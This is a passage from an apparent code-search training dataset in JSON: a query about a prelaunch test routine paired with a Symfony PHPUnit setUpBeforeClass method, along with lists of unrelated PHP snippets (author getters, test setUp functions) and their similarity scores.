"function emc_get_the_author( $post_id ) {\r\n\r\n\tif ( ! class_exists( 'Acf', false ) ) return false;\r\n\r\n\t$author = get_post_meta( $post_id, 'byline', true );\r\n\r\n\tif ( isset( $author ) && ! empty( $author ) ) {\r\n\r\n\t\t$html = sprintf( __( ' by %s', 'emc' ),\r\n\t\t\tesc_html( $author )\r\n\t\t);\r\n\t\treturn $html;\r\n\r\n\t}\r\n\r\n\treturn false;\r\n\r\n}",
"private function contributors()\n {\n $contributors = array();\n \n if (isset($this->article->AuthorList->Author)) {\n foreach ($this->article->AuthorList->Author as $author) {\n if (isset($author->CollectiveName)) {\n $category = 5; // corporate author\n $name = (string)$author->CollectiveName;\n } else {\n $category = 1; //primary (human) author\n $lastname = (string)$author->LastName;\n if (isset($author->ForeName)) {\n $name = $lastname . ', ' . (string)$author->ForeName;\n } elseif (isset($author->FirstName)) {\n $name = $lastname . ', ' . (string)$author->FirstName;\n } elseif (isset($author->Initials)) {\n $name = $lastname . ', ' . (string)$author->Initials;\n }\n }\n $contributors[$category][] = array('name' => $name);\n }\n }\n \n return $contributors;\n }",
"public function getAuthor($encoding = 'UTF-8') {}",
"private function lookupCoauthors($string) {\n // IN: [email protected], [email protected]\n // OUT: \n // Matt Bernhardt, [email protected]\n // Ellen Finnie Duranceau, [email protected]\n // NOTE: It also directly manipulates the message template by adding the comma separated names to the salutation\n\n // Open warehouse connection\n $this->warehouse = new Warehouse();\n\n // initialize rebuilt string\n $rebuiltString = \"\";\n $salutation = \"\";\n\n // replace semicolons with commas\n $string = str_replace( \";\" , \",\" , $string );\n\n // split emails on commas\n $emails = explode(\",\",$string);\n\n // This builds two variables:\n // $salutation is simply: name, name, name, \n // and is used in the salutation\n // $rebuiltString is: name: email, name: email,\n // and is used in the original submission\n foreach ( $emails as $email ) {\n $this->log->write(\"[Form] Coauthor lookup: _\" . $email . \"_\");\n $name = $this->warehouse->lookupDisplayName(trim($email));\n $this->log->write(\"[Form] Coauthor result: _\" . $name . \"_\");\n if( strlen($name) > 2 ) {\n $rebuiltString .= $name . \": \" . $email . \"\\n\";\n $salutation .= $name .\", \";\n } else {\n $rebuiltString .= $email . \"\\n\";\n }\n }\n $salutation .= \"\\n\";\n\n // add salutation to message text\n // if(trim($salutation) != \"\") {\n // $this->log->write('[Form] Coauthor: formatting salutation');\n // $salutation = \" and \" . $salutation;\n // } else {\n // $this->log->write('[Form] Coauthor: removing salutation');\n // $salutation = \"\\n\";\n // }\n $this->optOutCoauthors = $salutation;\n $this->messageText = preg_replace(\"/\\[>coauthor-names<\\]/U\", $salutation, $this->messageText);\n\n return $rebuiltString;\n }",
"function _listauthors($array){\n $goodstring=\"\";\n foreach ($array as $author){\n $goodstring.=$author[0];\n $goodstring.=ltrim(chop($author[1]))?($author[0]?\" \":\"\").ltrim(chop($author[1])):\"\";\n $goodstring.=$author[3]?\" \".$author[3]:\"\";\n $goodstring.=$author[2]?\" \".chop($author[2]):\"\";\n $goodstring.=\", \";\n\n\n\n }\n return chop($goodstring, ', ');\n }",
"function noticias_cabe(){\n \n $html=site('http://www.jornalnoticias.co.mz/');\n\t\n\tforeach($html->find('.items-row')as $elms){\n\t\t\n\t\tforeach($elms->find ('.jn-postheader') as $elms2){\n\t\t\n\t $j[]=mb_convert_encoding( $elms2->plaintext, \"HTML-ENTITIES\", \"UTF-8\");\n\t\n\t\n\t\t\n\t\t}\n\t}\n\t\n\treturn $j;\n\t\n\t}",
"public function town_cine()\n\t{\n\t\t//(3/9) - \"Microsoft Frontpage 2003 - 4 Town-Up from Kraenk.rar.par2\" - 181,98 MB - yEnc\n\t\tif (preg_match('/^[\\[(]\\d+\\/\\d+[\\])] - \"([A-Z0-9].{2,}?)' . $this->e0 .\n\t\t\t\t\t ' - \\d+[.,]\\d+ [kKmMgG][bB]( -)? yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}",
"public function mojo()\n\t{\n\t\tif (preg_match('/^\\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t ' - \\d+[,.]\\d+ [mMkKgG][bB] - yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}",
"function print_author_tag() {\n\t\t\n\t\techo \"<meta name='author' content='{$this->options->site_author}' />\\r\\n\";\n\t}",
"public function getCorporateAuthor()\n {\n // Try 110 first -- if none found, try 710 next.\n $main = $this->getFirstFieldValue('110', ['a', 'b']);\n if (!empty($main)) {\n return $main;\n }\n return $this->getFirstFieldValue('710', ['a', 'b']);\n }",
"function render_block_core_comment_author_name($attributes, $content, $block)\n {\n }",
"public function getAuthor() \r\n { \r\n return $this->_author; \r\n }",
"public function authors_tab_content() {\n\t\techo '<h2>Authors</h2>';\n\t\t$content = get_post_meta( get_the_ID(), 'authordesc', true );\n\t\t$content = htmlspecialchars_decode( $content );\n\t\t$content = wpautop( $content );\n\t\techo $content;\n\t}",
"function get_the_author_firstname()\n {\n }",
"public function run()\n {\n $about = [\n \"Housing Support Inc. was incorporated in 1990 as a vehicle to purchase a shelter for women and their children located in Amesbury Ma. In 1994, the bylaws were changed to broaden the scope of the agency and to add community leaders to the board.\",\n\n \"Since then the corporation has developed an additional eight properties in the communities of Haverhill, Lawrence, and Amesbury, which offer sober housing, supportive housing to homeless and/or disabled individuals and veterans. The projects were successfully completed despite challenges presented by difficult areas for the development and complex methods of competitive financing and public grant awards.\",\n\n \"These projects testify to a strong record by HSI in its ability to acquire property and develop it into affordable housing through public grants, public equity financing, market financing, and private donations. HSI has worked with The MA Land Bank, Community Economic Development and Assistance Corporation, Federal HOME Loan Bank, DHCD, DPH, DMH, DSS, MA Housing Finance Agency, Municipal Community Development Offices, MA Housing, North Shore HOME Consortium, Department of Housing and Urban Development and numerous local and regional housing authorities.\",\n\n \"HSI has received national recognition for its work when the “Elms” was selected by the Fannie Mae Foundation to receive one of only eighteen awards given nationwide for Excellence.\",\n\n \"Financial Partners include the Department of Housing and Urban Development, DHCD, Newburyport Bank, Pentucket Bank, CEDAC, Mass Housing, Mass Development North Shore HOME Consortium, and the Federal HOME Loan Bank.\"\n ];\n\n $a = New About();\n $a->firstp = $about[0];\n $a->secondp = $about[1];\n $a->thirdp = $about[2];\n $a->fourthp = $about[3];\n $a->fifthp = $about[4];\n $a->save();\n }",
"public function getAuthor(): string\n {\n return $this->_author;\n }",
"public function testRequireAuthor()\n {\n $this->markTestIncomplete('Not yet implemented.');\n }",
"function netfunktheme_company_meta( $atts ){\n\t\n\textract( shortcode_atts( array(\n\t\t'user_id' => '0',\n\t), $atts ) );\n\t\n\t$author_title_meta = '';\n\t\n\tif ($atts['user_id'] != 0) {\n\n\t\t$author_title_meta .= '<p class=\"lb-shortcode-meta lb_company_meta\">';\n\n\t\t$author_title_meta .= '<strong><a href=\"';\n\n\t\t$author_title_meta .= home_url() . '/author/'.get_the_author_meta('user_nicename',$atts['user_id']);\n\n\t\t$author_title_meta .= '\">';\n\n\t\t$author_title_meta .= get_the_author_meta('display_name',$atts['user_id']);\n\n\t\t$author_title_meta .= '</a></strong>';\t\n\n\t\t$author_title_meta .= ', ';\n\n\t\t$author_title_meta .= '<em>';\n\n\t\t$author_title_meta .= get_the_author_meta('lb_title',$atts['user_id']);\n\t\t\n\t\t$author_title_meta .= '</em>';\n\t\t\n\t\t$author_title_meta .= '</p>';\n\n\t}\n\t\n\treturn $author_title_meta;\n\t\n}"
]
| [
"0.67105395",
"0.6398483",
"0.6345692",
"0.6324027",
"0.6302387",
"0.6298693",
"0.6196378",
"0.61730695",
"0.61659086",
"0.60332304",
"0.60332304",
"0.60153383",
"0.6002096",
"0.59809834",
"0.59373116",
"0.5934595",
"0.5934595",
"0.5934595",
"0.5934595",
"0.5934595",
"0.5934595",
"0.5925771",
"0.59088403",
"0.59070027",
"0.5901142",
"0.5898296",
"0.5898296",
"0.5898296",
"0.58787787",
"0.5875007",
"0.58586043",
"0.5852523",
"0.5845305",
"0.58291554",
"0.5795537",
"0.57760197",
"0.57461864",
"0.57336026",
"0.56987804",
"0.5693758",
"0.5690473",
"0.5663173",
"0.5644723",
"0.5624838",
"0.56203765",
"0.55919194",
"0.5583797",
"0.5535841",
"0.55348504",
"0.55249655",
"0.55115694",
"0.5507315",
"0.54922116",
"0.5480985",
"0.5474236",
"0.54703474",
"0.5464127",
"0.54639536",
"0.5441791",
"0.544075",
"0.5436946",
"0.5426006",
"0.54221386",
"0.54151994",
"0.54078716",
"0.54033124",
"0.5397501",
"0.5380851",
"0.5375077",
"0.53687155",
"0.535602",
"0.53549844",
"0.535063",
"0.5342166",
"0.53332776",
"0.5323002",
"0.5322207",
"0.5314452",
"0.5309922",
"0.53087777",
"0.5296042",
"0.52841765",
"0.52779555",
"0.5268423",
"0.5261186",
"0.5258095",
"0.52532446",
"0.5253012",
"0.5249026",
"0.52488154",
"0.52484584",
"0.5238439",
"0.52305144",
"0.5225076",
"0.5219592",
"0.52188164",
"0.5218049",
"0.5212468",
"0.5206572",
"0.5205249",
"0.5196021"
]
| 0.0 | -1 |
Perform prelaunch test routine | public static function setUpBeforeClass()
{
//start the symfony kernel
$kernel = static::createKernel();
$kernel->boot();
//get the DI container
self::$container = $kernel->getContainer();
//now we can instantiate our service (if you want a fresh one for
//each test method, do this in setUp() instead
self::$paginator = self::$container->get('knp_paginator');
self::$serializer = self::$container->get('serializer');
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function preTesting() {}",
"public function preTest() {}",
"function test_init_action_is_run() {\n\t}",
"public function onBeforeRun()\n\t{\n\t\t$this->raiseEvent('onBeforeRun', new TestRunnerEvent($this, $this->collection));\n\t}",
"public function run_tests()\n {\n }",
"public function setUp(): void\n {\n // do somrthing before the benchmark\n }",
"protected function start()\n {\n $status = $this->autoTestController->start();\n\n PacklinkPrestaShopUtility::dieJson($status);\n }",
"protected function preRun()\n {\n if (@class_exists('Plugin_PreRun') &&\n in_array('Iface_PreRun', class_implements('Plugin_PreRun'))) {\n $preRun = new Plugin_PreRun();\n $preRun->process();\n }\n }",
"protected function _initTest(){\n }",
"public function preExecuteCheck()\n {\n return true;\n }",
"public function setUpBeforeTests()\n {\n $initialProductCount = $this->_getProductCount();\n if ($initialProductCount < self::MINIMUM_PRODUCT_COUNT) {\n $this->loginAdminUser();\n// var_dump(\"createProducts()\");\n// $this->_createProducts(10 - $initialProductCount);\n for($i = $initialProductCount; $i < self::MINIMUM_PRODUCT_COUNT; $i++) {\n $this->_createSimpleProduct();\n }\n $initialProductCount = $i;\n }\n }",
"public static function setUpBeforeClass(): void\n {\n // do somrthing before the benchmark\n }",
"public function preTest()\n {\n parent::preTest();\n \n // set up an SQL connection\n $this->_sql = Solar::factory(\n 'Solar_Sql',\n $this->_sql_config\n );\n $this->_sql->setProfiling(true);\n \n // set up a model catalog\n $this->_catalog = Solar::factory(\n 'Solar_Sql_Model_Catalog',\n $this->_catalog_config\n );\n \n // register the connection and catalog\n Solar_Registry::set('sql', $this->_sql);\n Solar_Registry::set('model_catalog', $this->_catalog);\n \n // set the class name for relateds\n $len = strlen('Test_');\n $this->_class = substr(get_class($this), $len);\n \n // populate everything\n $this->_populateAll();\n }",
"public function preExec()\n {\n }",
"public function preProcess();",
"public function preProcess();",
"function startTest() {\n $this->CalendarRecursion =& ClassRegistry::init('CalendarRecursion');\n $this->CalendarInstance =& ClassRegistry::init('CalendarInstance');\n $this->Activity =& ClassRegistry::init('Activity');\n }",
"public function runTestTask()\n\t{\n\t\t$this->runTask(1);\n\t}",
"public function beforeStartingDeploy()\n {\n // $this->runLocal('./vendor/bin/simple-phpunit');\n }",
"public function testMain()\n {\n echo \"\\n >----------- Test Main : ---------> \\n\";\n// $this->getRandomNumber();\n// $this->getLoggedUserMail();\n// $this->saveVerificationCode();\n// $this->verification();\n// $this->checkEmailVerification();\n// $this->checkSendCode();\n }",
"public function preExecute() {\n }",
"public function prepare()\n {\n static::startPhantomDriver();\n }",
"private function runTests(){\n $process = new Process(['./vendor/bin/phpunit --filter '.$this->params['model_name'].'Test']);\n $process->start();\n foreach($process as $type => $data){\n if($process::OUT !== $type){\n $this->error($data);\n continue;\n }\n $this->info($data);\n }\n }",
"public static function setUpBeforeClass()\n {\n /*\n * First, start the PHP build-in server:\n * php -S 127.0.0.1:8000 -t PHP/Compound/MVC/Public\n */\n self::$process = new Process('php -S 127.0.0.1:8000 -t PHP/Compound/MVC/Public');\n self::$process->start();\n\n /*\n * Wait for server\n */\n usleep(100000);\n }",
"protected function prepareRealTestEnvironment() {}",
"public static function setUpBeforeClass(){\n printf(\"*********** TESTING CREATE SWAPP SERVICE **********\");\n }",
"public function test()\n {\n $this->executeScenario();\n }",
"protected function preProcess() {}",
"function quickSetUp()\n {\n $this->setUp(null, null, null, null, null);\n }",
"protected function setUp()\n {\n $this->workload = new Workload('my-workload');\n }",
"public function setUp()\n {\n if (exec(\"docker ps | grep wpdemo_db\") == '') {\n $this->markTestSkipped('wpdemo_db container is not running, skipping test');\n }\n }",
"public function preExecute(){\n\n\t\n\t}",
"protected function _preExec()\n {\n }",
"public function process_test($tester) {\n\t\t$this->setupTests();\n\t\t$this->process();\n\t}",
"public function startTestSuite()\n {\n if (null === $this->reader) {\n $this->reader = Bootstrap::getObjectManager()->get('Magento\\Framework\\App\\DeploymentConfig\\Reader');\n $this->config = $this->reader->load();\n }\n }",
"public function before_run(){}",
"abstract protected function beforeRun($data);",
"public function testJobListPreparationAndReleaseTaskStatus()\n {\n\n }",
"function setUp() {\n\t\t\n\t}",
"function setUp() {\n\t\t\n\t}",
"public function testWithPreload()\n {\n return $this->doTheRealTest(true);\n }",
"function runTests() {\n\t\tif(is_array($this->_aTests)){\n\t\t\tforeach($this->_aTests as $test){\n\t\t\t\t$this->_aResults[$test->sName] = array();\n\t\t\t\t$this->_aResults = $test->run($this->_aResults);\n\n\t\t\t}\n\t\t}\n\t}",
"function testRun( )\n\t{\n $this->audio->addCronTab( 1, 2, 3, \"xxx.mp3\", 4 );\n $this->audio->readCronTab( );\n $this->audio->readFutureCronTab( );\n\t}",
"public function testInit()\n {\n\n }",
"public function setUp(): void\n {\n $this->setUpWithNoResult();\n }",
"public static function run() {\n\t\t$dispatcher = new HHVMTestSuiteDispatcher();\n\t\t$dispatcher->dispatch();\n\t}",
"public function test_setup_assert() {\n $this->assertTrue($this->testassertexecuted);\n $this->testassertexecuted = false;\n }",
"protected function setUp(): void\n {\n DummyHookPlugin::$beforeHookCalled = 0;\n DummyHookPlugin::$beforeActionCalled = 0;\n DummyHookPlugin::$afterActionCalled = 0;\n DummyHookPlugin::$afterHookCalled = 0;\n DummyHookPluginSkipsActions::$skipStartIn = 'beforeHook';\n DummyHookPluginSkipsActions::$skipStartAt = 1;\n DummyConstrainedHookPlugin::$restriction = null;\n DummyConstrainedHookPluginAlt::$restriction = null;\n DummyConstrainedPlugin::$restriction = null;\n }",
"protected function setUp()\n {\n \tob_start ();\n \t\n \t$this->object = new slurm ();\n \t$this->object->setListeOptions ( $this->getListeOption () );\n }",
"public function before_run() {}",
"abstract protected function doRun(array $testArgs);",
"function setUp() {\n\t\t$this->originalIsRunningTest = self::$is_running_test;\n\t\tself::$is_running_test = true;\n\t\t\n\t\t// i18n needs to be set to the defaults or tests fail\n\t\ti18n::set_locale(i18n::default_locale());\n\t\ti18n::set_date_format(null);\n\t\ti18n::set_time_format(null);\n\t\t\n\t\t// Remove password validation\n\t\t$this->originalMemberPasswordValidator = Member::password_validator();\n\t\t$this->originalRequirements = Requirements::backend();\n\t\tMember::set_password_validator(null);\n\t\tCookie::set_report_errors(false);\n\t\t\n\t\tif(class_exists('RootURLController')) RootURLController::reset();\n\t\tif(class_exists('Translatable')) Translatable::reset();\n\t\tVersioned::reset();\n\t\tDataObject::reset();\n\t\tif(class_exists('SiteTree')) SiteTree::reset();\n\t\tHierarchy::reset();\n\t\tif(Controller::has_curr()) Controller::curr()->setSession(new Session(array()));\n\t\t\n\t\t$this->originalTheme = SSViewer::current_theme();\n\t\t\n\t\tif(class_exists('SiteTree')) {\n\t\t\t// Save nested_urls state, so we can restore it later\n\t\t\t$this->originalNestedURLsState = SiteTree::nested_urls();\n\t\t}\n\n\t\t$className = get_class($this);\n\t\t$fixtureFile = eval(\"return {$className}::\\$fixture_file;\");\n\t\t$prefix = defined('SS_DATABASE_PREFIX') ? SS_DATABASE_PREFIX : 'ss_';\n\n\t\t// Set up fixture\n\t\tif($fixtureFile || $this->usesDatabase || !self::using_temp_db()) {\n\t\t\tif(substr(DB::getConn()->currentDatabase(), 0, strlen($prefix) + 5) != strtolower(sprintf('%stmpdb', $prefix))) {\n\t\t\t\t//echo \"Re-creating temp database... \";\n\t\t\t\tself::create_temp_db();\n\t\t\t\t//echo \"done.\\n\";\n\t\t\t}\n\n\t\t\tsingleton('DataObject')->flushCache();\n\t\t\t\n\t\t\tself::empty_temp_db();\n\t\t\t\n\t\t\tforeach($this->requireDefaultRecordsFrom as $className) {\n\t\t\t\t$instance = singleton($className);\n\t\t\t\tif (method_exists($instance, 'requireDefaultRecords')) $instance->requireDefaultRecords();\n\t\t\t\tif (method_exists($instance, 'augmentDefaultRecords')) $instance->augmentDefaultRecords();\n\t\t\t}\n\n\t\t\tif($fixtureFile) {\n\t\t\t\t$pathForClass = $this->getCurrentAbsolutePath();\n\t\t\t\t$fixtureFiles = (is_array($fixtureFile)) ? $fixtureFile : array($fixtureFile);\n\n\t\t\t\t$i = 0;\n\t\t\t\tforeach($fixtureFiles as $fixtureFilePath) {\n\t\t\t\t\t// Support fixture paths relative to the test class, rather than relative to webroot\n\t\t\t\t\t// String checking is faster than file_exists() calls.\n\t\t\t\t\t$isRelativeToFile = (strpos('/', $fixtureFilePath) === false || preg_match('/^\\.\\./', $fixtureFilePath));\n\t\t\t\t\tif($isRelativeToFile) {\n\t\t\t\t\t\t$resolvedPath = realpath($pathForClass . '/' . $fixtureFilePath);\n\t\t\t\t\t\tif($resolvedPath) $fixtureFilePath = $resolvedPath;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$fixture = new YamlFixture($fixtureFilePath);\n\t\t\t\t\t$fixture->saveIntoDatabase();\n\t\t\t\t\t$this->fixtures[] = $fixture;\n\n\t\t\t\t\t// backwards compatibility: Load first fixture into $this->fixture\n\t\t\t\t\tif($i == 0) $this->fixture = $fixture;\n\t\t\t\t\t$i++;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t$this->logInWithPermission(\"ADMIN\");\n\t\t}\n\t\t\n\t\t// Set up email\n\t\t$this->originalMailer = Email::mailer();\n\t\t$this->mailer = new TestMailer();\n\t\tEmail::set_mailer($this->mailer);\n\t\tEmail::send_all_emails_to(null);\n\t\t\n\t\t// Preserve memory settings\n\t\t$this->originalMemoryLimit = ini_get('memory_limit');\n\t}",
"function test(){\r\n //placeholder for future test functions\r\n }",
"public static function setUpBeforeClass(){\n printf(\"*********** TESTING SEARCHING SWAPPS SERVICE **********\");\n }",
"public function testRuns()\n {\n $this->assertTrue(true);\n }",
"public function preExecute() {\n if ($this->get_option('geocluster_enabled')) {\n if ($algorithm = geocluster_init_algorithm($this->config)) {\n $algorithm->before_pre_execute();\n }\n }\n }",
"public function setUp()\n {\n $this->CT = new CommandTester();\n $this->CT->add(new UtilityTask);\n }",
"public static function main()\n {\n $init = new Init();\n $init->preRun();\n $init->run();\n }",
"function test_install(){\n \t}",
"function run_activity_pre()\n\t\t{\n\t\t\t//load agent data from database\n\t\t\t$this->bo_agent->init();\n\t\t\t\n\t\t\t//this will send an email only if the configuration says to do so\n\t\t\tif (!($this->bo_agent->send_start()))\n\t\t\t{\n\t\t\t\t$this->error[] = lang('Smtp Agent has detected some errors when sending email at the beginning of the activity');\n\t\t\t\t$ok = false;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$ok = true;\n\t\t\t}\n\t\t\t$this->error[] = $this->bo_agent->get_error();\n\t\t\tif ($this->bo_agent->debugmode) echo '<br />START: Mail agent in DEBUG mode:'.implode('<br />',$this->error);\n\t\t\treturn $ok;\n\t\t}",
"private function prepareForTests()\n {\n \\Mail::pretend(true);\n }",
"public function preProcess(ProcessEvent $event) {\n $GLOBALS['feeds_test_events'][] = (__METHOD__ . ' called');\n }",
"public function setUp() {\n try {\n $this->classname= $this->testClassName();\n $this->interfacename= $this->testClassName('I');\n } catch (IllegalStateException $e) {\n throw new PrerequisitesNotMetError($e->getMessage());\n }\n\n // Create an archive\n $this->tempfile= new TempFile($this->name);\n $archive= new Archive($this->tempfile);\n $archive->open(ARCHIVE_CREATE);\n\n $this->add($archive, $this->classname, '\n uses(\"util.Comparator\", \"'.$this->interfacename.'\");\n class '.$this->classname.' extends Object implements '.$this->interfacename.', Comparator { \n public function compare($a, $b) {\n return strcmp($a, $b);\n }\n }\n ');\n $this->add($archive, $this->interfacename, 'interface '.$this->interfacename.' { } ');\n $archive->create();\n \n // Setup classloader\n $this->classloader= new ArchiveClassLoader($archive);\n ClassLoader::getDefault()->registerLoader($this->classloader, TRUE);\n }",
"public function onBeforeTest($test)\n\t{\n\t\t$this->raiseEvent('onBeforeTest', new TestRunnerEvent($this, $this->collection, $test));\n\t}",
"protected function doSetup(): void\n {\n }",
"function startTest($name, $args='', $debug = true){\r\n\r\n $host = $args[1];\r\n $port = $args[2];\r\n $browser = $args[3];\r\n $sitetotest = $args[4];\r\n $u_id = $args[5];\r\n $t_id = $args[6];\r\n $brows2 = $browser.\",\".$u_id;\r\n $datafile = $args[7];\r\n /* \r\n // Debug\r\n $host = '127.0.0.1';\r\n $port = '80';\r\n $browser = '*chrome';\r\n $sitetotest = 'http://google.com';\r\n $u_id = '60000';\r\n $t_id = '60000';\r\n $brows2 = $browser.\",\".$u_id;\r\n $datafile = $args[7]; \r\n */\r\n \r\n $t = new $name();\r\n $t->setUp($host, $port, $brows2, $sitetotest, $u_id, $t_id, $debug);\r\n try{ \r\n $t->testMyTestCase();\r\n }\r\n catch (Exception $e){\r\n var_dump($e);\r\n }\r\n \r\n $t->tearDown();\r\n}",
"public static function firstRun(){\n\t\tparent::firstRun();\n\n\t}",
"function setUp()\n\t{\n\t}",
"public static function main()\n {\n $suite = new PHPUnit_Framework_TestSuite('Tine 2.0 ActiveSync Backend SyncState Tests');\n PHPUnit_TextUI_TestRunner::run($suite);\n }",
"protected function setUp()\n {\n if ($this->bootstrap) require $this->bootstrap;\n $this->dispatcher->dispatch('test.before', new \\Codeception\\Event\\Test($this));\n $this->codeGuy = new CodeGuy($scenario = new \\Codeception\\Scenario($this));\n $scenario->run();\n }",
"protected function _init(){\n\t\t//Hook called at the beginning of self::run();\n\t}",
"protected function _before() {\n\t\tparent::_before ();\n\t\t$this->dao = new SDAO ();\n\t\t$this->_startCache ();\n\t\t$this->dao->setModelDatabase ( Fortune::class, 'bench' );\n\t\t$this->_startDatabase ( $this->dao, 'bench' );\n\t}",
"public function testBefore()\n {\n $fixture = new Mad_Test_Fixture_Base($this->_conn, 'unit_tests_opts');\n $fixture->load();\n $this->assertTrue($this->_recordExists(100));\n }",
"public function runBare()\n {\n Activity::disable();\n if (SHADOW_CHECK && empty($this->file_map)) {\n $this->file_map = static::getFiles();\n }\n //track the original max execution time limit\n $originalMaxTime = ini_get('max_execution_time');\n\n parent::runBare();\n\n //sometimes individual tests change the max time execution limit, reset back to original\n set_time_limit($originalMaxTime);\n\n if (SHADOW_CHECK) {\n $oldfiles = $this->file_map;\n $this->file_map = static::getFiles();\n $this->assertEquals($oldfiles, $this->file_map);\n }\n }",
"private function initMessageTests() {\r\n\t\tif ($this->getConfig ()->get ( \"run_selftest_message\" ) == \"YES\") {\r\n\t\t\t$stmsg = new SpleefTestMessages ( $this );\r\n\t\t\t$stmsg->runTests ();\r\n\t\t}\r\n\t}",
"public function do_tests()\n {\n foreach ($this->tests as $test) {\n $test->do_test($this->parse_script, $this->interpret_script);\n }\n }",
"function main() {\n\t\t$suite = new PHPUnit_Framework_TestSuite(__CLASS__);\n\t\t$result = PHPUnit_TextUI_TestRunner::run($suite);\n\t}",
"protected function setUp()\n {\n Kohana::config('database')->default = Kohana::config('database')\n ->unit_testing;\n Auth::instance()->login(TEST_USERNAME, TEST_PASSWORD);\n\n // Index data and start up the search daemon\n exec('indexer --all --config ' . SPHINX_CONF);\n exec('searchd --config ' . SPHINX_CONF);\n }",
"protected function initial()\n {\n $adapter = new Local('/', LOCK_SH, Local::SKIP_LINKS);\n $local = new Filesystem($adapter);\n foreach ($this->config->returnActions() as $key => $elem) {\n $ctype = (strtolower($elem['typebackup']) !== 'mysql' ? ucfirst(strtolower($elem['type'])) : 'Time').ucfirst(strtolower($elem['typebackup']));\n $dst = $this->distination($this->config->returnConfig($elem['dst']), $key, $elem['dst']);\n $class = '\\backup\\Actions\\\\'.$ctype;\n $this->run[] = new $class($elem, $dst, $local, $this->config->returnMysqlConfig($elem['mysqlconfig']));\n MyLog::info('Initialization backup process - '.$ctype.' with config', $elem, 'main');\n $this->initial = $this->initial === false ? true : true;\n }\n }",
"static function main() {\n\t\t$suite = new PHPUnit_Framework_TestSuite( __CLASS__);\n \t\tPHPUnit_TextUI_TestRunner::run( $suite);\n \t}",
"static function main() {\n\t\t$suite = new PHPUnit_Framework_TestSuite( __CLASS__);\n \t\tPHPUnit_TextUI_TestRunner::run( $suite);\n \t}",
"static function main() {\n\t\t$suite = new PHPUnit_Framework_TestSuite( __CLASS__);\n \t\tPHPUnit_TextUI_TestRunner::run( $suite);\n \t}",
"static function main() {\n\t\t$suite = new PHPUnit_Framework_TestSuite( __CLASS__);\n \t\tPHPUnit_TextUI_TestRunner::run( $suite);\n \t}",
"static function main() {\n\t\t$suite = new PHPUnit_Framework_TestSuite( __CLASS__);\n \t\tPHPUnit_TextUI_TestRunner::run( $suite);\n \t}",
"static function main() {\n\t\t$suite = new PHPUnit_Framework_TestSuite( __CLASS__);\n \t\tPHPUnit_TextUI_TestRunner::run( $suite);\n \t}",
"public function run()\n {\n $labOrder = factory(LabOrder::class)->create();\n $SKUs = SKU::where('item_type', 'lab-test')->get()->shuffle();\n\n for ($i=0; $i < 5; $i++) {\n $labTest = factory(LabTest::class)->create([\n 'lab_order_id' => $labOrder->id,\n 'sku_id' => $SKUs->pop()->id,\n ]);\n if (maybe()) {\n factory(LabTestResult::class)->create([\n 'lab_test_id' => $labTest->id,\n ]);\n }\n }\n }",
"protected function _before(){\n $this->startApplication();\n }",
"public function setUp()\n {\n if (false === extension_loaded('redland')) {\n $this->markTestSkipped('Extension redland is not loaded.');\n }\n\n parent::setUp();\n }",
"public function run() {\n Preview::$config->reporter->before_suite($this->result);\n\n if ($this->runnable()) {\n $this->timer->start();\n $this->extend_context_with_parent();\n\n // run before hooks if error occured\n // force all its children tests set to error.\n try {\n $this->run_before();\n } catch (\\Exception $e) {\n $this->force_error($e);\n }\n\n // run all its children test cases/suites.\n foreach ($this->cases as $case) {\n $case->run();\n }\n foreach ($this->suites as $suite) {\n $suite->run();\n }\n\n // run after hooks.\n // do not handle any exceptions,\n // since reporter has printed results out.\n $this->run_after();\n $this->finish();\n\n $this->timer->stop();\n }\n\n Preview::$config->reporter->after_suite($this->result);\n }",
"public function testRunStarted(\\unittest\\TestSuite $suite) {\n $this->sum= $suite->numTests();\n $this->cur= 0;\n $this->stats= [\n 'failed' => 0,\n 'errored' => 0,\n 'warned' => 0,\n 'skipped' => 0,\n 'notrun' => 0\n ];\n $this->status= true;\n }",
"public function setup()\n {\n //\n // we need to make sure that it is empty at the start of every\n // test\n InvokeMethod::onString(AllMatchingTypesList::class, 'resetCache');\n }",
"function run() {\n\t\t$this->_hook(Hooks::initialize);\n\t\tdo {\n\t\t\ttouch(TMP . 'autopilot_running');\n\t\t\t$this->_getToGreen();\n\t\t\t$this->_rerunAllTests();\n\t\t\t$this->_waitForChanges();\n\t\t} while (!file_exists(TMP . 'autopilot_stop'));\n\t\t$this->_hook(Hooks::quit);\n\t\tunlink(TMP . 'autopilot_running');\n\t}",
"protected function setUp()\n {\n $this->preSetup();\n parent::setUp();\n }",
"abstract protected function _preProcess();",
"static function main() {\n\t\t$suite = new PHPUnit_Framework_TestSuite(__CLASS__);\n\t\t$result = PHPUnit_TextUI_TestRunner::run($suite);\n\t}",
"protected function _before() {\n\t\tparent::_before ();\n\t\tStartup::setConfig ( $this->config );\n\t\t$this->_startCache ();\n\t\t$this->yumlModelsCreator = new YumlModelsCreator ();\n\t}",
"protected function setUp() {\n\t\tob_start ();\n\t\t$this->object = new zabbix_action_operation_condition ( false, \"zabbix_action_operation_condition\" );\n\t}",
"public static function main() {\n\t\tTestRunner::run( self::suite() );\n\t}",
"public static function prepare()\n {\n // static::startChromeDriver();\n }",
"public static function run_on_demand()\n {\n $obj = new self();\n $obj->verbose = true;\n $obj->run(null);\n }",
"public function before() {}"
]
| [
"0.79557",
"0.7842587",
"0.6678074",
"0.6611061",
"0.65977997",
"0.6571153",
"0.63879704",
"0.6302569",
"0.6288733",
"0.62785137",
"0.6273079",
"0.62651885",
"0.6245201",
"0.62417805",
"0.62257385",
"0.62257385",
"0.6216375",
"0.61884946",
"0.6175472",
"0.6152706",
"0.6145286",
"0.6074642",
